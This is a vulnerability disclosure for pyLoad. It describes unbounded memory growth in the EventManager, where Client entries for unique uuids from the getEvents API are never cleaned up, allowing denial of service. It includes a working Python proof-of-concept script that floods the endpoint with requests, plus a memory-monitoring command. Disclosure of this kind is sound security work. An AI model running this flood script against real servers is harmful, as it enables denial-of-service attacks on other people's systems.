pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

Description:

The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable Code:

https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

Here the client is added to the clients list but never cleared the inactive clients.

Exploitation:

1. Start pyLoad server (Ensure the pyload server is running)
2. Authenticate: Obtain a session cookie or an API key (Here i used the API key).
3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid.

import requests
import uuid
import time

# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000

headers = {
	"X-API-Key" : "<YOUR_APIKEY>"
}

print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")

for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    try:
        # Sending request
        requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
        if i % 1000 == 0:
            print(f"Sent {i} requests...")
    except requests.exceptions.RequestException as e:
        print(f"Error at request {i}: {e}")
        break

print("Attack complete. Check memory usage.")

5. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands).

PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done